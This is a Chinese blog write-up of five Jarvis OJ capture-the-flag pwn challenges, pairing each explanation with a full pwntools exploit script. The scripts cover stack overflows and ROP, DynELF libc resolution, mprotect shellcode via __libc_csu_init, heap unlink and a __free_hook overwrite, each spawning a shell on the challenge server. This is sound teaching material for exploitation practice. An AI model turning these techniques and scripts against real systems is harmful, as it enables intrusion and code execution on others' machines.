刷Jarvis OJ時(shí)學(xué)到的新姿勢(shì)[不定時(shí)更新]

0x00 前言

Pwn弱雞,比賽劃水,只好跟著大佬的博客刷刷一些題目才能維持尊嚴(yán),在刷題目的時(shí)候又發(fā)現(xiàn)了一些新姿勢(shì),在此記錄一下。持續(xù)龜速更新中


0x01 200pt Smashes

程序很簡(jiǎn)單,利用gets函數(shù)接受Name導(dǎo)致溢出,溢出到stack_check_fail函數(shù)報(bào)錯(cuò)的地方將服務(wù)端的flag給打印出來(lái)

主函數(shù)
服務(wù)端的flag
但有個(gè)很惡心的地方就是后面的循環(huán)函數(shù),正如他所說(shuō)的Please overwrite the flag,在這個(gè)地方有3個(gè)判斷:

  • 如果你什么都不輸入就直接跳到exit,根本不會(huì)觸發(fā)stackcheckfail。
  • 輸入n(n<=32)個(gè)字符,就會(huì)將0x600d20+n的地方覆蓋32-n個(gè)0,而這個(gè)地址恰好就是flag所在的地址,就是無(wú)論如何輸入都會(huì)將0x600d200x600d40這段地址都會(huì)被我們所復(fù)寫或者被memset給填充為0

然后就卡在這里了,一直想如何繞過(guò)這個(gè)循環(huán),然鵝并沒(méi)有卵用,繞不過(guò)去。最終參考了一下大佬的博客,發(fā)現(xiàn)Linux下有個(gè)機(jī)制ELF重映射

ELF重映射:當(dāng)可執(zhí)行文件足夠小時(shí),在不同的區(qū)段可能被多次映射。

而這道題確實(shí)也就是考的這個(gè),在gdb中可以看到在0x400000的地址將這個(gè)可執(zhí)行文件重新映射了一遍,雖然我們覆蓋掉了0x600d20處的flag但是在0x400d20處重映射的flag并沒(méi)有被覆蓋。

ELF重映射
腳本如下:

from pwn import *
local = 0
if local:
    p = process('./smashes')
else:
    p = remote('pwn.jarvisoj.com' , 9877)#nc pwn.jarvisoj.com 9877
flag_addr = 0x400D20
p.recvuntil('name? ')
name = p64(flag_addr) * 100 #懶到不想精確計(jì)算該改哪個(gè)位置于是直接暴力覆蓋flag
p.sendline(name)
p.recvuntil('flag: ')
p.send('\x00')
p.interactive()

0x02 250pt level4

前幾個(gè)level都是簡(jiǎn)單常見(jiàn)的棧溢出、ROP,到了第四個(gè)就很有意思了,雖然程序都是一樣的,卻沒(méi)有給libc版本,用leak出來(lái)的地址去查也沒(méi)有查到,在大佬的博客中看到了pwntools中的dynelf方法。
看看pwntools官方文檔中的Example

# Assume a process or remote connection
p = process('./pwnme')

# Declare a function that takes a single address, and
# leaks at least one byte at that address.
def leak(address):
    data = p.read(address, 4)
    log.debug("%#x => %s" % (address, (data or '').encode('hex')))
    return data

# For the sake of this example, let's say that we
# have any of these pointers.  One is a pointer into
# the target binary, the other two are pointers into libc
main   = 0xfeedf4ce
libc   = 0xdeadb000
system = 0xdeadbeef

# With our leaker, and a pointer into our target binary,
# we can resolve the address of anything.
#
# We do not actually need to have a copy of the target
# binary for this to work.
d = DynELF(leak, main)
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# However, if we *do* have a copy of the target binary,
# we can speed up some of the steps.
d = DynELF(leak, main, elf=ELF('./pwnme'))
assert d.lookup(None,     'libc') == libc
assert d.lookup('system', 'libc') == system

# Alternately, we can resolve symbols inside another library,
# given a pointer into it.
d = DynELF(leak, libc + 0x1234)
assert d.lookup('system')      == system

要使用dynelf首先得需要一個(gè)能夠leak出地址的函數(shù),然后需要知道main函數(shù)的地址或者直接有可執(zhí)行文件,下面的一堆assert大概是校準(zhǔn)?有了上述條件后dynelf就可以開(kāi)始工作了,原理就是從內(nèi)存里面逐個(gè)泄露出地址來(lái)暴力搜索想要找的函數(shù)。

所以這道題的基本思路就是通過(guò)read函數(shù)溢出構(gòu)造好leak函數(shù),用dynelf在內(nèi)存中暴力搜索system實(shí)際地址,然后構(gòu)造簡(jiǎn)單rop寫/bin/sh并調(diào)用system函數(shù)即可。腳本如下:

from pwn import *
global p
local = 0
if local:
    p = process('./level4')
else:
    p = remote('pwn2.jarvisoj.com' , 9880)#nc pwn2.jarvisoj.com 9880

p3ret = 0x8048509
def leak(address): 
    elf = ELF('./level4')
    pay = 'a'*0x88 +'bbbb'
    pay += p32(elf.symbols['write']) + p32(p3ret) + p32(1) + p32(address) + p32(4)
    pay += p32(elf.symbols['main'])
    p.sendline(pay)
    data = p.recv(4)
    print "[*]leaking: " + data
    return data

elf = ELF('./level4')
dyn =  DynELF(leak, elf=ELF('./level4'))
bss_addr = 0x804A024
system_addr = dyn.lookup('system' , 'libc')
read_plt = elf.plt['read']
main_addr = elf.symbols['main']
payload = 'a' * 0x88 + 'xebp' + p32(read_plt) + p32(p3ret) + p32(0) + p32(bss_addr) + p32(8) + p32(system_addr) + 'xret' + p32(bss_addr)
p.sendline(payload)
p.interactive()

但不太清楚為什么明明通過(guò)system('/bin/sh')起的shell卻只能執(zhí)行一次命令。

只能執(zhí)行一次命令


0x03 300pt level5

從level0到level5的程序都是差不多的,考點(diǎn)也都是棧溢出,也就是說(shuō)level5是最高難度的了。程序很簡(jiǎn)單,可以直接溢出leak地址構(gòu)rop起shell,但那是level3_x64,雖然程序是一模一樣的,同一個(gè)腳本也能pwn通,但是題目假設(shè)除了一個(gè)環(huán)境:mmap和mprotect練習(xí),假設(shè)system和execve函數(shù)被禁用,請(qǐng)嘗試使用mmap和mprotect完成本題。我跟著大牛的思路用mprotect函數(shù),利用64位ELF文件的萬(wàn)能Gadget完成了本題。

主函數(shù)

mprotect函數(shù)
函數(shù)原型:int mprotect(const void *start, size_t len, int prot);
函數(shù)功能:把自start開(kāi)始的、長(zhǎng)度為len的內(nèi)存區(qū)的保護(hù)屬性修改為prot指定的值,其中prot的值就和Linux系統(tǒng)對(duì)應(yīng)的屬性值。

萬(wàn)能Gadget
在64位ELF文件中會(huì)有一個(gè)名叫__libc_csu_init的函數(shù),看其中的匯編代碼我們會(huì)發(fā)現(xiàn)可以通過(guò)我們的精心構(gòu)造可以訪問(wèn)任何地方。我們可以先跳轉(zhuǎn)到紅色箭頭的地方,控制rbxrbp、r12、r13、r14、r15這五個(gè)寄存器中的值,然后再ret藍(lán)色箭頭的地方,我們可以發(fā)現(xiàn)剛剛我們構(gòu)造的r13、r14r15中的值分別傳遞到了rdx、rsi、rdi寄存器中。而熟悉的人肯定知道rdi、rsi、rdx中的值分別對(duì)應(yīng)64位程序中調(diào)用函數(shù)的前三個(gè)參數(shù)。而且在這幾句后面還有個(gè)call,這就很騷了,雖然后面是call [r12+rbx*8]看似很復(fù)雜的匯編語(yǔ)言,但是我們可以發(fā)現(xiàn)r12rbx的值在紅色箭頭那里我們都是可控的。如果我們將rbx中的值構(gòu)造為0,r12的值構(gòu)造為我們想要跳轉(zhuǎn)到一個(gè)指針p,這個(gè)指針p指向我們想要執(zhí)行的函數(shù)f,那么我們就可以執(zhí)行函數(shù)f了。而且,ELF文件中的got表中就有我們想要的指向函數(shù)的指針。

萬(wàn)能Gadget

  • 利用思路
    大概就是寫shellcodebss段,調(diào)用mprotect函數(shù)修改bss段為可執(zhí)行,然后再跳轉(zhuǎn)到bss段去執(zhí)行我們的shellcode。首先將shellcode寫到bss段就簡(jiǎn)單棧溢出調(diào)用read函數(shù)就能實(shí)現(xiàn),而后面兩步就需要用到萬(wàn)能Gadget訪問(wèn)函數(shù),那么我們肯定是要hijack got表嘛,那就在got表里面找兩個(gè)不太用的到的函數(shù)hijack一下唄。腳本如下:
from pwn import *
context.arch = 'amd64'
local = 0
if local:
    p = process('./level5')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    gdb.attach(p , open('aa'))
else:
    p = remote('pwn2.jarvisoj.com' , 9884)#nc pwn2.jarvisoj.com 9884
    libc = ELF('./libc-2.19.so')


elf = ELF('./level5')
offset = 0x80
write_plt = elf.plt['write']
write_got = elf.got['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
bss_addr = elf.bss()
main_addr = elf.symbols['main']
pop_rdi_ret = 0x4006b3
pop_rsi_r15_ret = 0x4006b1
pop_rbx_rbp_r12_r13_r14_r15_ret = 0x4006a6
evercall_addr = 0x400690

#step1 leak libc.addr
p.recvuntil('Input:\n')
payload1 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(1) + p64(pop_rsi_r15_ret) + p64(read_got) + 'deadbeef' + p64(write_plt) + p64(main_addr)
p.send(payload1)
libc.address = u64(p.recv(8)) - libc.symbols['read']
print hex(libc.address)
#raw_input()

#step2 hijack __libc_start_main -> mprotect
p.recvuntil('Input:\n')
libc_start_main_got = elf.got['__libc_start_main']
payload2 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(libc_start_main_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload2)
mprotect_addr = libc.symbols['mprotect']
print hex(mprotect_addr)
p.send(p64(mprotect_addr))

#step3 write shellcode -> bss
p.recvuntil('Input:\n')
payload3 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(bss_addr) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload3)
shellcode = asm(shellcraft.amd64.sh())
print shellcode
p.send(shellcode)


#step4 hijack __gmon_start__ -> bss_shellcode
p.recvuntil('Input:\n')
gmon_start_got = elf.got['__gmon_start__']
payload4 = 'a' * offset + '__xebp__' + p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_r15_ret) + p64(gmon_start_got) + 'deadbeef' + p64(read_plt) + p64(main_addr)
p.send(payload4)
p.send(p64(bss_addr))
#raw_input()

#step5 using __libc_csu_init to call mprotect and change bss to executable and then execute shellcode
p.recvuntil('Input:\n')
payload5 = 'a' * offset + '__xebp__' + p64(pop_rbx_rbp_r12_r13_r14_r15_ret) + 'deadbeef' + p64(0) + p64(1) + p64(libc_start_main_got) + p64(7) + p64(0x1000) + p64(0x600000) + p64(evercall_addr) + 'deadbeef' + p64(0) + p64(1) + p64(gmon_start_got) + p64(0) + p64(0) + p64(0) + p64(evercall_addr) 
#                                                                           + 'deadbeef'    rbx      rbp      r12 -> call r12+rbx*8   r13 -> rdx  r14 -> rsi     r15 -> rdi
p.sendline(payload5)
p.interactive()

沒(méi)有像大佬那樣一次性把ROP鏈構(gòu)造完全然后一次性把函數(shù)都劫持到位,但我覺(jué)得這樣一步一步的邏輯清楚一些,也便于自己寫腳本,然后值得一提的是在萬(wàn)能Gadget中若將rbx構(gòu)造得比rbp少一,也就是rbx中為0rbp中為1,那么call完之后又會(huì)跳轉(zhuǎn)到我們紅色箭頭那里然后又可以構(gòu)造一次訪問(wèn)其他位置。(詳情可以見(jiàn)call完后面的那串匯編代碼)


0x04 400pt Guestbook2

前面都是棧漏洞,之后應(yīng)該就是堆題了吧,根據(jù)ida可以分析出結(jié)構(gòu)體如下

struct heap{
    int inuse;
    int length;
    char *post;
}
  • 漏洞位置
    漏洞出在edit函數(shù),在編輯已經(jīng)定義的post時(shí)可以任意指定修改長(zhǎng)度,并且realloc不會(huì)清空堆上的內(nèi)容。以及del函數(shù)在free堆塊后沒(méi)有釋放指針,造成存在Dangling Pointer
edit

del

unlink

  • 利用原理
    free一個(gè)大小在fastbin以上的chunk時(shí),會(huì)檢查該chunk物理地址相連的兩個(gè)chunk,并執(zhí)行下面的邏輯:
free(chunk)
if(prev_chunk == freed)
    unlink(prev_chunk)          //將兩個(gè)chunk合并
if(next_chunk == top_chunk)
    ......                     //合并到top_chunk
else if(next_chunk == freed)
    unlink(next_chunk)        //將兩個(gè)chunk合并
to_unsortbin(chunk)          //將經(jīng)過(guò)處理合并后的chunk歸入unsortbin

unlink的時(shí)候會(huì)執(zhí)行如下操作指針的代碼,并且如今還有safe_unlinkcheck機(jī)制。

unlink(P, BK, FD) {                                            
    FD = P->fd;                                     
    BK = P->bk;                                     
    if(__builtin_expect (FD->bk != P || BK->fd != P, 0))                              //safe_unlink
        malloc_printerr (check_action, "corrupted double-linked list", P);      
    else{                                   
        FD->bk = BK;                                
        BK->fd = FD;              
       .........................................
    }
}
  • 構(gòu)造條件
    紅色邊框中的一個(gè)大堆塊構(gòu)造兩個(gè)小堆塊,大小都在unsort bin的范圍內(nèi),并且將要free的堆塊(黑色箭頭所指)的前一個(gè)堆塊為freed的狀態(tài),也就是該堆塊的size位(綠色箭頭所指)的prev_inuse0,同樣因?yàn)樵摱褖K為inused狀態(tài),故下一堆塊的size位(紫色箭頭所指)的prev_inuse1。這樣就構(gòu)造好了觸發(fā)unlink的條件,此時(shí)free該堆塊會(huì)導(dǎo)致前一個(gè)堆塊進(jìn)行unlink操作,現(xiàn)在要構(gòu)造繞過(guò)safe_unlinkcheck了。也就是需要有一個(gè)指針指向前一個(gè)堆塊的堆頭處也就是如紅色箭頭所示ptr指向fake_prev,并且將該偽堆塊的fdbk分別布置為ptr-0x18ptr-0x10(32位時(shí)為ptr-0xcptr-0x8),這樣就可以滿足unsafe_unlinkcheck了。
  • 觸發(fā)效果
    unlink紅色箭頭所指的堆塊后,指針ptr所指會(huì)由剛剛的fake_prev變成ptr-0x18的位置(紅色箭頭變?yōu)樗{(lán)色箭頭),再編輯ptr的時(shí)候就能夠覆蓋到ptr本身實(shí)現(xiàn)后續(xù)利用。
    unlink
  • 利用思路
    add堆塊并free掉一個(gè)保證堆上有指向libc的指針,edit前一個(gè)結(jié)構(gòu)體導(dǎo)致堆溢出覆蓋掉后面的post后再通過(guò)list可泄露出libc的基址,再在后面的堆塊中通過(guò)溢出構(gòu)造unlink最終起shell。

  • my-exp

from pwn import *
local = 1
if local:
    p = process('./guestbook2')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
    #gdb.attach(p)# , open('aa'))
else:
    p = remote('pwn.jarvisoj.com' , 9879)#nc pwn.jarvisoj.com 9879
    libc = ELF('./libc.so.6')

def lst():
    p.recvuntil('choice: ')
    p.sendline('1')
    return p.recvuntil('\n== PCTF')[:-8]

def add(length , content):
    p.recvuntil('choice: ')
    p.sendline('2')
    p.recvuntil('new post: ')
    p.sendline(str(length))
    p.recvuntil('your post: ')
    p.send(content)
    sleep(0.1)

def edit(num , length , content):
    p.recvuntil('choice: ')
    p.sendline('3')
    p.recvuntil('number: ')
    p.sendline(str(num))
    p.recvuntil('of post: ')
    p.sendline(str(length))
    p.recvuntil('your post: ')
    p.send(content)
    sleep(0.1)

def dele(num):
    p.recvuntil('choice: ')
    p.sendline('4')
    p.recvuntil('number: ')
    p.sendline(str(num))
    sleep(0.1)

elf = ELF('./guestbook2')
for i in range(5):
    add(0x80 , str(i)*0x80)

#Make freed_chunk1_fd be chunk3_ptr then leak heap base
dele(3)
dele(1) #We have a dangling_ptr
edit(0 , 0x90 , 'a' * 0x20)
#gdb.attach(p)

a = lst().split('\n')[0][0x93:]
heap_base = u64(a + '\x00' * (8 - len(a))) - 0x19d0
chunk0_addr = heap_base + 0x30
success('heap_base => ' + hex(heap_base))
success('chunk0_addr => ' + hex(chunk0_addr))

#Make a fake_chunk satisfied the condition of unlink
payload = p64(0) + p64(0x80) + p64(chunk0_addr - 0x18) + p64(chunk0_addr - 0x10) + 'a' * 0x60 + p64(0x80) + p64(0x90) + 'a' * 0x70
#   fake_prev_size  fake_size   fake_fd = ptr - 0x18      fake_bk = ptr - 0x10        mess  chunk1_prev_size chunk1_size mess duiqi 0x80
print hex(len(payload))
edit(0 , len(payload) , payload)

#gdb.attach(p)
#trigger unlink
dele(1)
#result:  chunk0_addr = chunk0_addr - 0x18

#leak libc.address & get system_address 
atoi_got = elf.got['atoi']
payload = p64(2) + p64(1) + p64(0x100) + p64(chunk0_addr - 0x18) + p64(1) + p64(8) + p64(atoi_got)
payload += '\x00' * (0x100 - len(payload))
edit(0 , len(payload) , payload)
a = lst().split('1. ')[1]
atoi_addr = u64(a + '\x00' * (8 - len(a)))
libc.address = atoi_addr - libc.symbols['atoi']
system_addr = libc.symbols['system']
success('atoi_addr => ' + hex(atoi_addr))
success('libc_base => ' + hex(libc.address))
success('system_addr => ' + hex(system_addr))

#write atoi to system & get shell
edit(1 , 8 , p64(system_addr)) 
p.sendline('/bin/sh\x00')

p.interactive()

0x05 450pt ItemBoard

題目沒(méi)有去符號(hào)表,根據(jù)ida可分析出item數(shù)據(jù)結(jié)構(gòu)如下:

struct item{
    char *name;
    char *description;
    void (*item_free)();
}
  • 漏洞位置
    漏洞位于new_item函數(shù)中,在輸入description時(shí)給中間變量buf的長(zhǎng)度可控,而bufchar buf[1024],此處存在緩沖區(qū)溢出。此外在執(zhí)行item_free時(shí)只沒(méi)有清除指針,并且在list_itemshow_item的時(shí)候沒(méi)有檢查是否inuse。
    new_item

    item_free

    list_item

    show_item
  • 善于利用棧上的結(jié)構(gòu)體,并結(jié)合代碼段的寫操作構(gòu)造合理的覆蓋
  • __free_hook_ptr的定位,pwntools庫(kù)中的libc.symbols無(wú)法定位到__free_hook_ptr,ida中查找也不是特別方便,只好在調(diào)試時(shí)先確定__free_hook的地址,再用find的指令查找__free_hook再減去libc基址便可得到__free_hook_ptr的偏移。
  • 在遠(yuǎn)程使用不同的libc時(shí)通過(guò)freed unsort bin上指向main_arena泄露地址找libc基址時(shí)偏移與本地不同的方法:可先減去__malloc_hook的偏移,然后再?gòu)?qiáng)行頁(yè)對(duì)齊,由于main_arena__malloc_hook下面不遠(yuǎn)處,所以先減去__malloc_hook后,離頁(yè)對(duì)齊差的不是很多,可以一眼看出來(lái)該如何對(duì)齊。
  • 利用思路
    第一步,先構(gòu)造freeunsort bin上的堆塊,free后產(chǎn)生指向main_arena的地址,并通過(guò)show_item來(lái)leaklibc的基址。第二步,通過(guò)控制v2溢出buf并且繼續(xù)向下覆蓋掉i棧上的item結(jié)構(gòu)體,在下面strcpy的時(shí)候,將buf賦值給覆蓋后新的item + 8指向的地方。正常情況下我們會(huì)將free_hook改成system函數(shù),所以我們可將item覆蓋為+8后指向free_hook的地方。恰好,在libc里面會(huì)有一個(gè)__free_hook_ptr是指向__free_hook的。所以整體思路為:泄露出libc基址后,將棧上的item結(jié)構(gòu)體指針覆蓋為__free_hook_ptr - 8,然后通過(guò)strcpy__free_hook覆蓋為system地址,然后free掉寫有/bin/sh的堆塊即可get shell。

  • my-exp

from pwn import *
local = 0
---
if local:
    p = process('./itemboard')
    libc = ELF('/lib/x86_64-linux-gnu/libc-2.23.so')
else:
    p = remote('pwn2.jarvisoj.com' , 9887)#nc pwn2.jarvisoj.com 9887
    libc = ELF('./libc-2.19.so')
elf = ELF('./itemboard')

def add(name , length , description):
    p.recvuntil('choose:\n')
    p.sendline('1')
    sleep(0.1)
    p.recvuntil('name?\n')
    p.sendline(name)
    sleep(0.1)
    p.recvuntil('len?\n')
    p.sendline(str(length))
    sleep(0.1)
    p.recvuntil('Description?\n')
    p.sendline(description)
    sleep(0.1)

def lst():
    p.recvuntil('choose:\n')
    p.sendline('2')
    return p.recvuntil('1.Add')[:-6]

def show(no):
    p.recvuntil('choose:\n')
    p.sendline('3')
    p.recvuntil('item?\n')
    p.sendline(str(no))
    a = p.recvuntil('1.Add')[:-6]
    name = a.split('\nDescription:')[0].split('Name:')[1]
    description = a.split('\nDescription:')[1]
    return name , description

def remove(no):
    p.recvuntil('choose:\n')
    p.sendline('4')
    p.recvuntil('item?\n')
    p.sendline(str(no))

def debug():
    print pidof(p)[0]
    raw_input()

add('a' * 0x10 , 0x80 , '1' * 4 + 'Just A Fish Test' + '2' * 4)
add('b' * 0x10 , 0x80 , '3' * 4 + 'Just A Fish Test' + '4' * 4)
add('c' * 0x10 , 0x80 , '5' * 4 + 'Just A Fish Test' + '6' * 4)
remove(1)

if local:
    libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x68
    free_hook_ptr = libc.address + 0x3c3ef8
else:
    libc.address = u64(show(1)[1] + '\x00' * 2) - libc.symbols['__malloc_hook'] - 0x78
    free_hook_ptr = libc.address + 0x3bdee8
    
system_addr = libc.symbols['system']
success('libc_base => ' + hex(libc.address))
success('free_hook_ptr => ' + hex(free_hook_ptr))
success('system_addr = > ' + hex(system_addr))
add('/bin/sh\x00' , 0x410 , p64(system_addr) + 'a' * 0x400 + p64(free_hook_ptr - 8))
remove(3)
#debug()
p.interactive()
最后編輯于
?著作權(quán)歸作者所有,轉(zhuǎn)載或內(nèi)容合作請(qǐng)聯(lián)系作者
【社區(qū)內(nèi)容提示】社區(qū)部分內(nèi)容疑似由AI輔助生成,瀏覽時(shí)請(qǐng)結(jié)合常識(shí)與多方信息審慎甄別。
平臺(tái)聲明:文章內(nèi)容(如有圖片或視頻亦包括在內(nèi))由作者上傳并發(fā)布,文章內(nèi)容僅代表作者本人觀點(diǎn),簡(jiǎn)書系信息發(fā)布平臺(tái),僅提供信息存儲(chǔ)服務(wù)。

相關(guān)閱讀更多精彩內(nèi)容

友情鏈接更多精彩內(nèi)容